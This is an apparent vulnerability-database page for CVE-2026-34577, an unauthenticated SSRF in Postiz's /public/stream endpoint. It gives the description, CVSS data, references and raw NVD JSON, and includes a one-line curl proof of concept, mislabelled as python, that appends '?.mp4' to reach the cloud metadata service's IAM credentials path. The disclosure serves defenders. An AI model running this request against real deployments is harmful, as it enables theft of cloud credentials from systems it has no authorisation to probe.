CVE-2026-34577

Description

Postiz is an AI social media scheduling tool. Prior to version 2.21.3, the GET /public/stream endpoint in PublicController accepts a user-supplied url query parameter and proxies the full HTTP response back to the caller. The only validation is url.endsWith('mp4'), which is trivially bypassable by appending .mp4 as a query parameter value or URL fragment. The endpoint requires no authentication and has no SSRF protections, allowing an unauthenticated attacker to read responses from internal services, cloud metadata endpoints, and other network-internal resources. This issue has been patched in version 2.21.3.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitroom:postiz:*:*:*:*:*:*:*:* - VULNERABLE

Postiz < 2.21.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34577
# Target internal metadata service (e.g., AWS)
# Bypass check by appending ?.mp4

curl -X GET "http://<target-domain>/public/stream?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role?.mp4"

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34577
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34577
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34577/
[4] VulDB https://vuldb.com/cve/CVE-2026-34577
[5] https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.3
[6] https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-mv6h-v3jg-g539

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34577", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:30.347", "lastModified": "2026-04-07T21:21:47.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Postiz is an AI social media scheduling tool. Prior to version 2.21.3, the GET /public/stream endpoint in PublicController accepts a user-supplied url query parameter and proxies the full HTTP response back to the caller. The only validation is url.endsWith('mp4'), which is trivially bypassable by appending .mp4 as a query parameter value or URL fragment. The endpoint requires no authentication and has no SSRF protections, allowing an unauthenticated attacker to read responses from internal services, cloud metadata endpoints, and other network-internal resources. This issue has been patched in version 2.21.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitroom:postiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.21.3", "matchCriteriaId": "D21ABC46-FB7C-419E-81AA-D0BDD64100CC"}]}]}], "references": [{"url": "https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-mv6h-v3jg-g539", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}